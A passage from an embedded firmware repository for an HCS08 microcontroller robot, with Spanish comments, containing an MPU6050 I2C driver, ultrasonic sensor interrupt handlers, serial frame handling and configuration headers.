/** @brief Envia una trama de datos por el puerto serial obtenida por el buffer de salida @param dato byte a ser enviado */ extern void frameGenerator(void); #endif <file_sep>/Soft V1.0/Firmware 1.0/Sources/main.c /*==================[inclusions]=============================================*/ #include "Linker.h" void main(void) { InitDevice(); for(;;) { if(adcEnable==TRUE){ adcEnable=FALSE; switchSensor(); } functionHandler(); dispatcher(&executingVector,&bufferOut); frameGenerator(); } /* loop forever */ /* please make sure that you never leave main */ } <file_sep>/Backup/Soft V1.0/Firmware 1.0/Sources/RTCmodule.h #include "Config.h" #ifndef _RTCmodule_h #define _RTCmodeule_h #endif interrupt VectorNumber_Vrtc void RTCInterrupt (void); uint8_t timeCounter; uint16_t time; //Definicion de funciones void decreaseTimer(FunctionStruct*);<file_sep>/Soft V1.0/Firmware 1.0/Sources/MPU6050.c /*==================[inclusions]=============================================*/ #include "MPU6050.h" /*==================[macros and definitions]=================================*/ /*==================[internal data declaration]==============================*/ uint8_t devAddr=0,buffer=0; /*==================[internal functions declaration]=========================*/ /*==================[internal data definition]===============================*/ /*==================[external data definition]===============================*/ /*==================[internal functions definition]==========================*/ /*==================[external functions definition]==========================*/ void MPU6050(void){ devAddr=MPU6050_DEFAULT_ADDRESS; } void MPU6050_initialize() { MPU6050_setClockSource(MPU6050_CLOCK_PLL_XGYRO); MPU6050_setFullScaleGyroRange(MPU6050_GYRO_FS_250); MPU6050_setFullScaleAccelRange(MPU6050_ACCEL_FS_2); MPU6050_setSleepEnabled(FALSE); } void MPU6050_setClockSource(uint8_t source) { IICWriteBits(devAddr, MPU6050_RA_PWR_MGMT_1, MPU6050_PWR1_CLKSEL_BIT, MPU6050_PWR1_CLKSEL_LENGTH, source); } void MPU6050_setFullScaleAccelRange(uint8_t range) { IICWriteBits(devAddr, MPU6050_RA_ACCEL_CONFIG, MPU6050_ACONFIG_AFS_SEL_BIT, MPU6050_ACONFIG_AFS_SEL_LENGTH, range); } void MPU6050_setFullScaleGyroRange(uint8_t range) { IICWriteBits(devAddr, MPU6050_RA_GYRO_CONFIG, MPU6050_GCONFIG_FS_SEL_BIT, MPU6050_GCONFIG_FS_SEL_LENGTH, range); } void MPU6050_setSleepEnabled(Bool enabled) { IICWriteBit(devAddr, MPU6050_RA_PWR_MGMT_1, MPU6050_PWR1_SLEEP_BIT, enabled); } void MPU6050_setI2CMasterModeEnabled(Bool enabled) { IICWriteBit(devAddr, MPU6050_RA_USER_CTRL, MPU6050_USERCTRL_I2C_MST_EN_BIT, enabled); } void MPU6050_setI2CBypassEnabled(Bool enabled) { IICWriteBit(devAddr, MPU6050_RA_INT_PIN_CFG, MPU6050_INTCFG_I2C_BYPASS_EN_BIT, enabled); } void MPU6050GetRawMotion6(uint8_t* buffer) { IICReadNBytes(devAddr, MPU6050_RA_ACCEL_XOUT_H, 14,buffer); } /*==================[end of file]============================================*/<file_sep>/Soft V1.0/Firmware 1.0/Sources/stdint.h /* Copyright (c) 2002,2004,2005 <NAME> Copyright (c) 2005, <NAME> Copyright (c) 2005,2007 <NAME> All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the copyright holders nor the names of contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES LOSS OF USE, DATA, OR PROFITS OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* $Id: stdint.h,v 1.10 2007/01/23 15:32:48 joerg_wunsch Exp $ */ /* * ISO/IEC 9899:1999 7.18 Integer types <stdint.h> */ #ifndef __STDINT_H_ #define __STDINT_H_ /** \ingroup avr_stdint 8-bit signed type. */ #define int8_t signed char /** \ingroup avr_stdint 8-bit unsigned type. */ #define uint8_t unsigned char /** \ingroup avr_stdint 16-bit signed type. */ #define int16_t signed short int /** \ingroup avr_stdint 16-bit unsigned type. */ #define uint16_t unsigned short int /** \ingroup avr_stdint 32-bit signed type. */ #define int32_t signed long int /** \ingroup avr_stdint 32-bit unsigned type. */ #define uint32_t unsigned long int /** \ingroup avr_stdint 64-bit signed type. \note This type is not available when the compiler option -mint8 is in effect. */ #define int64_t signed long long int /** \ingroup avr_stdint 64-bit unsigned type. \note This type is not available when the compiler option -mint8 is in effect. */ #define uint64_t unsigned long long int /*@}*/ /** \name Integer types capable of holding object pointers These allow you to declare variables of the same size as a pointer. */ /*@{*/ /** \ingroup avr_stdint fastest signed int with at least 8 bits. */ #define int_fast8_t int8_t /** \ingroup avr_stdint fastest unsigned int with at least 8 bits. */ #define uint_fast8_t uint8_t /** \ingroup avr_stdint fastest signed int with at least 16 bits. */ #define int_fast16_t int16_t /** \ingroup avr_stdint fastest unsigned int with at least 16 bits. */ #define uint_fast16_t uint16_t /** \ingroup avr_stdint fastest signed int with at least 32 bits. */ #define int_fast32_t int32_t /** \ingroup avr_stdint fastest unsigned int with at least 32 bits. */ #define uint_fast32_t uint32_t #define int_fast64_t int64_t /** \ingroup avr_stdint fastest unsigned int with at least 64 bits. \note This type is not available when the compiler option -mint8 is in effect. */ #define uint_fast64_t uint64_t /*@}*/ /** \name Greatest-width integer types Types designating integer data capable of representing any value of any integer type in the corresponding signed or unsigned category */ /*@{*/ #endif /* _STDINT_H_ */ <file_sep>/Soft V1.0/Firmware 1.0/Sources/UltrasonicSensors.c /*==================[inclusions]=============================================*/ #include "UltrasonicSensors.h" /*==================[macros and definitions]=================================*/ //MEF #define MEF_STATUS_WAIT 0 #define MEF_STATUS_RUNNING 1 #define MEF_STATUS_ERROR 2 //SENSORES #define SENSOR_FRONT_TIMER_VALUE TPM1C0V #define SENSOR_LEFT_TIMER_VALUE TPM1C1V #define SENSOR_RIGHT_TIMER_VALUE TPM1C2V #define SENSOR_BACK_TIMER_VALUE TPM1C3V #define SENSOR_FRONT_ENABLE_INTERRUPT (TPM1C0SC_CH0IE=1) #define SENSOR_FRONT_DISABLE_INTERRUPT (TPM1C0SC_CH0IE=0) #define SENSOR_LEFT_ENABLE_INTERRUPT (TPM1C1SC_CH1IE=1) #define SENSOR_LEFT_DISABLE_INTERRUPT (TPM1C1SC_CH1IE=0) #define SENSOR_RIGHT_ENABLE_INTERRUPT (TPM1C2SC_CH2IE=1) #define SENSOR_RIGHT_DISABLE_INTERRUPT (TPM1C2SC_CH2IE=0) #define SENSOR_BACK_ENABLE_INTERRUPT (TPM1C3SC_CH3IE=1) #define SENSOR_BACK_DISABLE_INTERRUPT (TPM1C3SC_CH3IE=0) #define SENSOR_FRONT_TRIGGER PTGD_PTGD0 #define SENSOR_LEFT_TRIGGER PTGD_PTGD1 #define SENSOR_RIGHT_TRIGGER PTGD_PTGD2 #define SENSOR_BACK_TRIGGER PTGD_PTGD3 #define TIMER1_STATUS TPM1SC; /*==================[internal data declaration]==============================*/ //Declaracion de variables para Sensor Frente uint8_t mefSensorFrontStatus=0; uint16_t sensorFrontTime; uint16_t risingEdgeTimeSensorFront; uint16_t fallingEdgeTimeSensorFront; uint16_t measureSensorFront16; FunctionStruct* sensorFrontFunctionStruct; uint8_t sensorFrontDatos; //Declaracion de variables para Sensor Izquierdo uint8_t mefSensorLeftStatus=0; uint16_t sensorLeftTime; uint16_t risingEdgeTimeSensorLeft; uint16_t fallingEdgeTimeSensorLeft; uint16_t measureSensorLeft16; FunctionStruct* sensorLeftFunctionStruct; uint8_t sensorLeftDatos; //Declaracion de variables para Sensor Derecho uint8_t mefSensorRightStatus=0; uint16_t sensorRightTime; uint16_t risingEdgeTimeSensorRight; uint16_t fallingEdgeTimeSensorRight; uint16_t measureSensorRight16; FunctionStruct* sensorRightFunctionStruct; uint8_t sensorRightDatos; /*==================[internal functions declaration]=========================*/ /** @brief retardo para mandar la señal al trigger. */ void triggerDelay(void); /*==================[internal data definition]===============================*/ /*==================[external data definition]===============================*/ /*==================[external functions definition]==========================*/ extern void getUltrasonic(FunctionStruct* currentFunction){ uint8_t ultrasonic=0; ultrasonic=currentFunction->functionId; switch(ultrasonic){ case ULTRASONIC_FRONT: sensorFrontFunctionStruct=currentFunction; (void)(TPM1C0SC==0); TPM1C0SC_CH0F=0; //ACOMODAR ESTO PARA QUE SEA GENERICO SENSOR_FRONT_ENABLE_INTERRUPT; SENSOR_FRONT_TRIGGER=1; triggerDelay(); SENSOR_FRONT_TRIGGER=0; break; case ULTRASONIC_LEFT: sensorLeftFunctionStruct=currentFunction; (void)(TPM1C1SC==0); TPM1C1SC_CH1F=0; SENSOR_LEFT_ENABLE_INTERRUPT; SENSOR_LEFT_TRIGGER=1; triggerDelay(); SENSOR_LEFT_TRIGGER=0; break; case ULTRASONIC_RIGHT: sensorRightFunctionStruct=currentFunction; (void)(TPM1C2SC==0); TPM1C2SC_CH2F=0; SENSOR_RIGHT_ENABLE_INTERRUPT; SENSOR_RIGHT_TRIGGER=1; triggerDelay(); SENSOR_RIGHT_TRIGGER=0; break; } } interrupt VectorNumber_Vtpm1ch0 void interruptSensorFront (void) //sensor1 (frente) { (void)(TPM1C0SC==0);//Borra el flag de interrupcion TPM1C0SC_CH0F = 0; if(mefSensorFrontStatus==MEF_STATUS_WAIT) //Si es el primer flanco(ascendente) toma el valor en b { sensorFrontFunctionStruct->status=RUNNING; risingEdgeTimeSensorFront=SENSOR_FRONT_TIMER_VALUE; mefSensorFrontStatus=MEF_STATUS_RUNNING;//flag bit indica que ya fue tomado el primer flanco ascendente return; } else //flag bit=1 indica que ya fue tomado el primer flanco ahora se captura el flanco descendente { fallingEdgeTimeSensorFront=SENSOR_FRONT_TIMER_VALUE; mefSensorFrontStatus=MEF_STATUS_WAIT; sensorFrontTime=fallingEdgeTimeSensorFront-risingEdgeTimeSensorFront;//d es la medicion, resta los tiempos de muuestra de ambos flancos measureSensorFront16=(sensorFrontTime*10)/58; if(measureSensorFront16>255){ sensorFrontDatos=255; } else{ sensorFrontDatos=(byte)measureSensorFront16; } sensorFrontFunctionStruct->data[0]=sensorFrontDatos; sensorFrontFunctionStruct->status=AVAILABLE; SENSOR_FRONT_DISABLE_INTERRUPT; } return; } interrupt VectorNumber_Vtpm1ch1 void interruptSensorLeft (void) { (void)(TPM1C1SC==0);//Borra el flag de interrupcion TPM1C1SC_CH1F = 0; if(mefSensorLeftStatus==MEF_STATUS_WAIT) { sensorLeftFunctionStruct->status=RUNNING; risingEdgeTimeSensorLeft=SENSOR_LEFT_TIMER_VALUE; mefSensorLeftStatus=MEF_STATUS_RUNNING; return; } else { fallingEdgeTimeSensorLeft=SENSOR_LEFT_TIMER_VALUE; mefSensorLeftStatus=MEF_STATUS_WAIT; sensorLeftTime=fallingEdgeTimeSensorLeft-risingEdgeTimeSensorLeft; measureSensorLeft16=(sensorLeftTime*10)/58; if(measureSensorLeft16>255){ sensorLeftDatos=255; } else{ sensorLeftDatos=(byte)measureSensorLeft16; } sensorLeftFunctionStruct->data[0]=sensorLeftDatos; sensorLeftFunctionStruct->status=AVAILABLE; SENSOR_LEFT_DISABLE_INTERRUPT; } return; } interrupt VectorNumber_Vtpm1ch2 void interruptSensorRight (void) { (void)(TPM1C2SC==0);//Borra el flag de interrupcion TPM1C2SC_CH2F = 0; if(mefSensorRightStatus==MEF_STATUS_WAIT) { sensorRightFunctionStruct->status=RUNNING; risingEdgeTimeSensorRight=SENSOR_RIGHT_TIMER_VALUE; mefSensorRightStatus=MEF_STATUS_RUNNING; return; } else { fallingEdgeTimeSensorRight=SENSOR_RIGHT_TIMER_VALUE; mefSensorRightStatus=MEF_STATUS_WAIT; sensorRightTime=fallingEdgeTimeSensorRight-risingEdgeTimeSensorRight; measureSensorRight16=(sensorRightTime*10)/58; if(measureSensorRight16>255){ sensorRightDatos=255; } else{ sensorRightDatos=(byte)measureSensorRight16; } sensorRightFunctionStruct->data[0]=sensorRightDatos; sensorRightFunctionStruct->status=AVAILABLE; SENSOR_RIGHT_DISABLE_INTERRUPT; } return; } /*==================[internal functions definition]==========================*/ void triggerDelay(void){ int t; t=16; while(t!=0){ t--; } }<file_sep>/Backup/Soft V1.0/Config/CODE/SCI3.c /** ################################################################### ** THIS COMPONENT MODULE IS GENERATED BY THE TOOL. DO NOT MODIFY IT. ** Filename : SCI3.C ** Project : Config ** Processor : MC9S08JM16CGT ** Component : Init_SCI ** Version : Component 01.132, Driver 01.18, CPU db: 3.00.045 ** Compiler : CodeWarrior HCS08 C Compiler ** Date/Time : 08/07/2015, 08:55 p.m. ** Abstract : ** This bean encapsulates Serial Communications Interface module ** This modules allows asynchronous communications with peripheral ** devices and other microcontroller units (MCU). ** Settings : ** Bean name : SCI3 ** Device : SCI1 ** Settings ** Baud rate divisor : 104 ** Baud rate : 9615.385 baud ** Loop mode : Disabled ** Receiver source select : Loop mode ** TxD1 pin direction : Output ** Data Format : 8 bits ** Stop in Wait mode : Disabled ** Wake up : Idle line wakeup ** Idle character counting : After start bit ** Parity : None ** Send break : Disabled ** Pins ** RxD pin allocation : Enabled ** RxD pin : PTE1_RxD1 ** RxD pin signal : ** TxD pin : PTE0_TxD1 ** TxD pin signal : ** Interrupts ** Tx interrupt ** Interrupt : Vsci1tx ** Transmit interrupt : Disabled ** Transmition complete interrupt : Enabled ** ISR name : hola ** Rx interrupt : ** Interrupt : Vsci1rx ** Receive interrupt : Enabled ** Idle line interrupt : Disabled ** ISR name : tx ** Error interrupt : ** Interrupt : Vsci1err ** Receive framing error interrupt : Enabled ** Receive noise error interrupt : Enabled ** Receive overrun interrupt : Enabled ** Receive parity error interrupt : Enabled ** ISR name : TX ** Initialization : ** Call Init in CPU init. code : yes ** Transmitter : Disabled ** Receiver : Disabled ** Contents : ** Init - void SCI3_Init(void); ** ** Copyright : 1997 - 2009 Freescale Semiconductor, Inc. All Rights Reserved. ** ** http : www.freescale.com ** mail : <EMAIL> ** ###################################################################*/ /* MODULE SCI3. */ #include "SCI3.h" /* ** ################################################################### ** ** The interrupt service routine(s) must be implemented ** by user in one of the following user modules. ** ** If the "Generate ISR" option is enabled, Processor Expert generates ** ISR templates in the CPU event module. ** ** User modules: ** Config.c ** Events.c ** ** ################################################################### ISR( hola) { // NOTE: The routine should include the following actions to obtain // correct functionality of the hardware. // // Transmit interrupt flag is cleared by reading the SCI status register // and then writing to the SCI data register. // Example: Status = SCI1S1; // SCI1D = Data; } ISR( tx) { // NOTE: The routine should include the following actions to obtain // correct functionality of the hardware. // Receive and idle interrupt flag are cleared by reading the status register // and then reading the data register. // Example: Status = SCI1S1; // Data = SCI1D; } ISR( TX) { // NOTE: The routine should include the following actions to obtain // correct functionality of the hardware. // // Error interrupt flags are cleared by reading the status register // and then reading the data register. // Example: Status = SCI1S1; // Data = SCI1D; } */ /* ** =================================================================== ** Method : SCI3_Init (component Init_SCI) ** ** Description : ** This method initializes registers of the SCI module ** according to this Peripheral Initialization Bean settings. ** Call this method in user code to initialize the module. ** By default, the method is called by PE automatically; see ** "Call Init method" property of the bean for more details. ** Parameters : None ** Returns : Nothing ** =================================================================== */ void SCI3_Init(void) { /* SCI1C2: TIE=0,TCIE=0,RIE=0,ILIE=0,TE=0,RE=0,RWU=0,SBK=0 */ setReg8(SCI1C2, 0x00); /* Disable the SCI1 module */ (void)getReg8(SCI1S1); /* Dummy read of the SCI1S1 register to clear flags */ (void)getReg8(SCI1D); /* Dummy read of the SCI1D register to clear flags */ /* SCI1S2: LBKDIF=1,RXEDGIF=1,??=0,RXINV=0,RWUID=0,BRK13=0,LBKDE=0,RAF=0 */ setReg8(SCI1S2, 0xC0); /* SCI1BDH: LBKDIE=0,RXEDGIE=0,??=0,SBR12=0,SBR11=0,SBR10=0,SBR9=0,SBR8=0 */ setReg8(SCI1BDH, 0x00); /* SCI1BDL: SBR7=0,SBR6=1,SBR5=1,SBR4=0,SBR3=1,SBR2=0,SBR1=0,SBR0=0 */ setReg8(SCI1BDL, 0x68); /* SCI1C1: LOOPS=0,SCISWAI=0,RSRC=0,M=0,WAKE=0,ILT=0,PE=0,PT=0 */ setReg8(SCI1C1, 0x00); /* SCI1C3: R8=0,T8=0,TXDIR=1,TXINV=0,ORIE=1,NEIE=1,FEIE=1,PEIE=1 */ setReg8(SCI1C3, 0x2F); /* SCI1C2: TIE=0,TCIE=1,RIE=1,ILIE=0,TE=0,RE=0,RWU=0,SBK=0 */ setReg8(SCI1C2, 0x60); } /* END SCI3. */ /* ** ################################################################### ** ** This file was created by Processor Expert 3.07 [04.34] ** for the Freescale HCS08 series of microcontrollers. ** ** ################################################################### */ <file_sep>/Soft V1.0/Firmware 1.0/Sources/RTCmodule.h #ifndef RTCMODULE_H #define RTCMODULE_H /*==================[inclusions]=============================================*/ #include "Linker.h" /*==================[macros]=================================================*/ /*==================[typedef]================================================*/ /*==================[external data declaration]==============================*/ /*==================[external functions declaration]=========================*/ /** @brief decrementa los timer de las funciones que estan en el vector de ejecucion y habilita el ADC cuando el contador del ADC llega a cierto valor. */ interrupt VectorNumber_Vrtc void RTCInterrupt (void); #endif<file_sep>/Soft V1.0/Firmware 1.0/Sources/GlobalVariables.c /*==================[inclusions]=============================================*/ #include "GlobalVariables.h" /*==================[macros and definitions]=================================*/ /*==================[internal data declaration]==============================*/ /*==================[internal functions declaration]=========================*/ /*==================[internal data definition]===============================*/ /*==================[external data definition]===============================*/ //Variables de tiempo uint32_t tickTime=0; //ADC Bool adcEnable=TRUE; Bool isAdcRunning=FALSE; //Velocidad uint16_t leftWheelVelocity=0; uint16_t rightWheelVelocity=0; //Motores uint8_t pwmLeftValue=0; uint8_t pwmRightValue=0; //Tipo de movimiento uint8_t moveBy=NO_MOVE; //IDnumber uint8_t IDNumberExtern=0; //Pasos uint16_t leftWheelStepValue=0; uint16_t rightWheelStepValue=0; int leftWheelStepValueToSet=0; int rightWheelStepValueToSet=0; //Serial Error uint8_t serialErrorType=0; /*==================[external functions definition]==========================*/ void initIDNumber(void){ IDNumberExtern = 1; } uint8_t getIDNumber(){ uint8_t var = 0; var = IDNumberExtern; if(IDNumberExtern <= 100){ IDNumberExtern++; } else{ IDNumberExtern = 1; } return var; } void initGlobalVariables(void){ //ADC adcEnable=TRUE; isAdcRunning=FALSE; //Velocidad leftWheelVelocity=0; rightWheelVelocity=0; //Motores pwmLeftValue=0; pwmRightValue=0; //Tipo de movimiento moveBy=NO_MOVE; //IDnumber IDNumberExtern=0; //Pasos leftWheelStepValue=0; rightWheelStepValue=0; leftWheelStepValueToSet=0; rightWheelStepValueToSet=0; setPwmValue(0,0); serialErrorType=0; } /*==================[internal functions definition]==========================*/<file_sep>/Soft V1.0/Firmware 1.0/Sources/UltrasonicSensors.h #ifndef ULTRASONICSENSORS_H #define ULTRASONICSENSORS_H /*==================[inclusions]=============================================*/ #include "Linker.h" /*==================[macros]=================================================*/ /*==================[typedef]================================================*/ /*==================[external data declaration]==============================*/ /*==================[external functions declaration]=========================*/ /** @brief Rutina de interrupcion que calcula la distancia del sensor ultrasonico frontal. */ interrupt VectorNumber_Vtpm1ch0 void interruptSensorFront (void); /** @brief Rutina de interrupcion que calcula la distancia del sensor ultrasonico izquierdo. */ interrupt VectorNumber_Vtpm1ch1 void interruptSensorLeft (void); /** @brief Rutina de interrupcion que calcula la distancia del sensor ultrasonico derecho. */ interrupt VectorNumber_Vtpm1ch2 void interruptSensorRight (void); /** @brief determina a partir de la funcion que se pasa por parametro, que interrupcion debe llamar. @param currentFunction es un puntero a la funcion en el vector de ejecucion. @return void */ extern void getUltrasonic(FunctionStruct* currentFunction); #endif <file_sep>/Soft V1.0/Firmware 1.0/HCS08_Full_Chip_Simulator.ini [Environment Variables] GENPATH={Project}Sources;{Compiler}lib\hc08c\device\src;{Compiler}lib\hc08c\device\include;{Compiler}lib\hc08c\device\asm_include;{Compiler}lib\hc08c\src;{Compiler}lib\hc08c\include;{Compiler}lib\hc08c\lib LIBPATH={Compiler}lib\hc08c\device\include;{Compiler}lib\hc08c\include OBJPATH={Project}bin TEXTPATH={Project}bin ABSPATH={Project}bin [HI-WAVE] Target=HCS08FCS Layout=C_layout.hwl LoadDialogOptions=RUNANDSTOPAFTERLOAD="main" MainFrame=2,3,-32000,-32030,-1,-1,132,132,1157,589 TOOLBAR=57600 57601 32795 0 57635 57634 57637 0 57671 57669 0 32777 32776 32782 32780 32781 32778 0 32806 [HCS08FCS] CURRENTDEVICE=9S08JM16 CMDFILE0=CMDFILE STARTUP ON ".\cmd\HCS08_Full_Chip_Simulator_startup.cmd" CMDFILE1=CMDFILE RESET ON ".\cmd\HCS08_Full_Chip_Simulator_reset.cmd" CMDFILE2=CMDFILE PRELOAD ON ".\cmd\HCS08_Full_Chip_Simulator_preload.cmd" CMDFILE3=CMDFILE POSTLOAD ON ".\cmd\HCS08_Full_Chip_Simulator_postload.cmd" SHOWPROT=0 TRACE_ENABLEDISABLESTATE=0 [PEDEBUG] CURRENTDEVICE=9S08JM16 CURRENTMODE=1 ASK_BEFORE_ERASING_FLASH=1 AUTO_SYNC=1 DO_INIT_PORTS=1 [DEVICE] CHIPMODE=9S08JM16 [9S08JM16] PROGRAMMING_ALGORITHM=0 DOTRIM=1 PRESERVE1_START=0 PRESERVE1_END=0 PRESERVE1_ACTIVE=0 PRESERVE2_START=0 PRESERVE2_END=0 PRESERVE2_ACTIVE=0 PRESERVE3_START=0 PRESERVE3_END=0 PRESERVE3_ACTIVE=0 PRESERVE_EEPROM=0 CUSTOM_TRIM=0 NGS_TRIM_OVERRIDE_REFERENCE_FREQUENCY=0 [SETTINGS] MEMORYSTART1=176 MEMORYSTART2=0 DEFAULT_SOURCE_PATH=C:\Archivos de programa\Freescale\CodeWarrior for Microcontrollers V6.3\prog [CycleWin] XTAL=4000000 [Recent Applications File List] File0=C:\Documents and Settings\Administrador\Escritorio\Proyecto final\Soft V1.0\Firmware 1.0\bin\Project.abs File1= File2= File3= LoadFlags0=RUNANDSTOPAFTERLOAD="main" LoadFlags1= LoadFlags2= LoadFlags3= [Recent Layout File List] File0=C_layout.hwl File1= File2= File3= <file_sep>/Backup/Soft V1.0/Firmware 1.0/Sources/Comunicacion.c #include "Comunicacion.h" /** @brief Envia una trama de datos por el puerto serial obtenida por el buffer de salida */ void SendByte(byte dato){ (void)statusSerialRegister1; serialData=dato; enableTxInterrupt; return; } void beginComunication(){ STATUS_MEF=MEF_WAIT; } interrupt VectorNumber_Vsci1tx void TxInterrupt (void) { //rutina para enviar datos por interrupciones (void)statusSerialRegister1; //borra flags de interrupcion if(txDataLength>0&&isDataAvailable(&bufferTx)){ enableTxInterrupt; serialData=getFromBuffer(&bufferTx); txDataLength--; } else{ disableTxInterrupt; } return; } interrupt VectorNumber_Vsci1rx void RxInterrupt (void) { //Rutina para recepcion de datos por interrupciones byte inByte=0; (void) statusSerialRegister1; //borra flags de interrupcion inByte=serialData; enableRxInterrupt; if((inByte==FRAME_START)&&(STATUS_MEF==MEF_WAIT)){ STATUS_MEF=MEF_START; } else{ if((STATUS_MEF==MEF_DATA)&&(dataPointer<nBytes)){ setToBuffer(inByte,&bufferRx); dataPointer++; } if((STATUS_MEF==MEF_DATA)&&(dataPointer>=nBytes)){ STATUS_MEF=MEF_WAIT; setToBuffer(inByte,&bufferRx); dataPointer=0; } if(STATUS_MEF==MEF_N_BYTES){ STATUS_MEF=MEF_DATA; setToBuffer(inByte,&bufferRx); dataPointer++; } if(STATUS_MEF==MEF_FUNCTION){ if(function>FUNCTION_ID){ nBytes=inByte; setToBuffer(inByte,&bufferRx); STATUS_MEF=MEF_N_BYTES; } else{ setToBuffer(inByte,&bufferRx); STATUS_MEF=MEF_WAIT; setBufferOnBuffer(&bufferRx,&bufferIn); InitBuffer(&bufferRx); //Llamar a funcion para meter en el buffer } } if(STATUS_MEF==MEF_START){ STATUS_MEF=MEF_FUNCTION; function=inByte; setToBuffer(inByte,&bufferRx); } } } void frameGenerator(){ uint8_t getByte,i=0,nbytes=0; if(isDataAvailable(&bufferOut)==1){ disableTxInterrupt; do{ getByte=getFromBuffer(&bufferOut); if(getByte<=FUNCTION_ID){ setToBuffer(FRAME_START,&bufferTx); txDataLength++; setToBuffer(getByte,&bufferTx); txDataLength++; getByte=getFromBuffer(&bufferOut); setToBuffer(getByte,&bufferTx); txDataLength++; }else{ setToBuffer(FRAME_START,&bufferTx); txDataLength++; setToBuffer(getByte,&bufferTx); txDataLength++; nbytes=getFromBuffer(&bufferOut); txDataLength++; for(i=0;i<nbytes;i++){ getByte=getFromBuffer(&bufferOut); setToBuffer(getByte,&bufferTx); txDataLength++; } } }while(isDataAvailable(&bufferOut)==1); txDataLength=txDataLength-1; SendByte(getFromBuffer(&bufferTx)); } } <file_sep>/Backup/Soft V1.0/Firmware 1.0/Sources/Config.h #include "ConfigJM16.h" #include <stdio.h> #include <stdlib.h> #ifndef _Config_h #define _Config_h #endif //Definicion de tipos de datos #define uint8_t byte #define uint16_t word //Definicion estados globales #define STATUS_START 0xB0 #define STATUS_RESET 0xB1 #define STATUS_STAND_BY 0xB2 #define BUFFER_SIZE 15 //Definiciones extern uint8_t GLOBAL_STATUS; //Buffer de salida #define BUFFEROUT_LENGTH 30 //Buffer de entrada #define BUFFERIN_LENGTH 30 #define BUFFER_DATA_SIZE 10 #define EXECUTING_STRUCT_SIZE 15 // Funciones # define getMessure 1 # define isGoal 2 # define setSteps 3 # define setVelocity 4 # define error 5 # define ACK 6 // parametros de getMessure # define ULTRASONIC_ALL 7 # define ULTRASONIC_LEFT 8 # define ULTRASONIC_RIGHT 9 # define ULTRASONIC_FRONT 10 # define ACCEL 11 # define GYRO 12 # define COMPASS 13 // parametros de isGoal # define STOP_ON_GOAL 14 # define CONTINUE 15 # define NOP 16 // parametros de error # define COMMAND_ERROR 17 # define INACCESSIBLE_DEVICE 18 # define ERROR_TIMEOUT 19 //Estados de funciones # define READY 20 # define RUNNING 21 # define AVAILABLE 22 # define ERROR 23 # define TIMEOUT 24 # define DONE 25 //timers funciones # define ULTRASONIC_ALL_TIMER 17 # define ULTRASONIC_LEFT_TIMER 5 # define ULTRASONIC_RIGHT_TIMER 5 # define ULTRASONIC_FRONT_TIMER 100 # define ACCEL_TIMER 20 # define GYRO_TIMER 20 # define COMPASS_TIMER 20 # define IS_GOAL_TIMER 20 # define SET_STEPS_TIMER 20 # define SET_VELOCITY_TIMER 20 //Definiciones para funciones con mas de una funcion #define MORE_FUNCTION 0xff #define UNIQUE_FUNCTION 0x00 //timers funciones #define GETMESSURE_TIMER 20 //Punteros de lectura y escritura extern uint8_t readPointerBufferOut; extern uint8_t writePointerBufferOut; extern uint16_t measureUltrasonicCenterSensor16; #pragma options align = packed typedef struct { uint8_t readPointer; uint8_t writePointer; uint8_t Buffer[ BUFFER_SIZE ]; uint8_t BufferFlags[ BUFFER_SIZE ]; }BufferStruct; typedef struct { uint8_t data[BUFFER_DATA_SIZE]; uint8_t pointer; }DataStruct; typedef struct { uint8_t functionId; uint8_t status; uint8_t timerCount; DataStruct* data; uint8_t root; }FunctionStruct; typedef struct { FunctionStruct *vector[EXECUTING_STRUCT_SIZE]; FunctionStruct FunctionVector[10]; uint8_t pointer; uint8_t readPointer; }ExecutingStruct; #pragma options align = reset extern BufferStruct bufferIn; extern BufferStruct bufferOut; static ExecutingStruct executingVector; extern FunctionStruct f1; /** @brief Inicializacion de buffer. Inicializa los parametros 'readPointer', 'writePointer' y 'buffer' de la estructura 'bufferStruct'. @param Buffer es el buffer (struct bufferStruct) a inicializar. @returns void */ void InitBuffer(BufferStruct* BufferToInit); /** @brief toma dato del buffer. toma un dato uint8_t del buffer e incrementa el puntero 'readPointer'. Si no hay datos que leer no incrementa el puntero. Lipia la celda luego de leerla. @param BufferToGet es el buffer (struct bufferStruct) a leer. @returns data Parametro uint8_t con el valor de la celda tomada del buffer. */ uint8_t getFromBuffer(BufferStruct* BufferToGet); /** @brief Setea un dato en el buffer. setea un dato uint8_t en el buffer e incrementa el puntero 'writePointer'. Si no hay lugar en el buffer en donde setear el dato, lo descarta. @param BufferToSet es el buffer (struct bufferStruct) a escribir. @returns void. */ void setToBuffer(uint8_t data, BufferStruct* BufferToSet); /** @brief devuelve el espacio disponible en el buffer. calcula el espacio disponible para almacenamiento en el buffer. @param BufferToCalculate es el buffer (struct bufferStruct) a calcular. @returns data Parametro uint8_t con el valor del espacio disponible para almacenamiento en el buffer. */ uint8_t getSpaceOfBuffer(BufferStruct* BufferToCalculate); /** @brief setea los datos de un buffer en otro buffer. controla si el buffer es capaz de almacenar la cantidad de datos a guardar antes de realizar el proceso de almacenamiento. devuelve 1 si el proceso fue exitoso y 0 si no lo fue. @param BufferGet es el buffer (struct bufferStruct) que contiene los datos a ser almacenado en bufferAdd. @param BufferAdd es el buffer (struct bufferStruct) que contendra los datos a almacenar. @returns data Parametro uint8_t con el valor 1 si el proceso fue exitoso, 0 si no lo fue. */ uint8_t 